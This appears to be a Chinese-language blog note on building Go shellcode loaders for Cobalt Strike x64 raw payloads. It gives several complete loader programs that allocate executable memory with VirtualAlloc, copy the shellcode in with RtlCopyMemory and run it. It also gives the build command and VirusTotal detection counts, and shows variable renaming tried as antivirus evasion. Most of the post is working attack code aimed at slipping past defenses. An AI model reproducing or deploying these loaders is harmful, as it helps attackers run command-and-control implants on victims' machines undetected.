参考:
https://geektutu.com/post/quick-golang.html
https://www.freebuf.com/sectool/328982.html
https://github.com/awsaaaq/GoBP
1
go读取shellcode,这里用的cs的x64 raw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package main
import ( "fmt" "io/ioutil" )
func read(file string) []byte { data, _ := ioutil.ReadFile(file) return data } func main() { shellcode := read("./64.bin") fmt.Println(shellcode) }
|
shellcode loader
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package main
import ( "io/ioutil" "syscall" "unsafe" )
const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 )
var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") )
func read(file string) []byte { data, _ := ioutil.ReadFile(file) return data }
func main() { shellcode := read("./64.bin")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) syscall.Syscall(addr, 0, 0, 0, 0) }
|
更多人用的都是下面这样的loader,不过我不知道这两个if判断有什么实用性,就把它们给删了
1 2 3 4 5 6 7 8 9 10
| addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } time.Sleep(5 * time.Second) syscall.Syscall(addr, 0, 0, 0, 0)
|
比较意外的是,这样子直接编译,2mb大小,免杀效果还不错
编译
- go build -ldflags=”-H windowsgui” .\loader.go
7/70 https://www.virustotal.com/gui/file/4aa8427eb6f6d8bd1308832081fef2012823c6e1dc464361b24babb7eed5fb91?nocache=1
2
改了一些变量名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package main
import ( "io/ioutil" some "syscall" "unsafe" )
const ( ZXC = 0x1000 VB = 0x2000 NM = 0x40 )
var ( qwer = "kernel32.dll" tyui = "ntdll.dll" op = "VirtualAlloc" asdf = "RtlCopyMemory" kl32 = some.MustLoadDLL(qwer) ntdll = some.MustLoadDLL(tyui) opp = kl32.MustFindProc(op) ghjk = ntdll.MustFindProc(asdf) )
func read(file string) []byte { data, _ := ioutil.ReadFile(file) return data }
func main() { shellcode := read("./64.bin")
addr, _, _ := opp.Call(0, uintptr(len(shellcode)), ZXC|VB, NM)
_, _, _ = ghjk.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
some.Syscall(addr, 0, 0, 0, 0) }
|
不像python那样了,效果反而更差了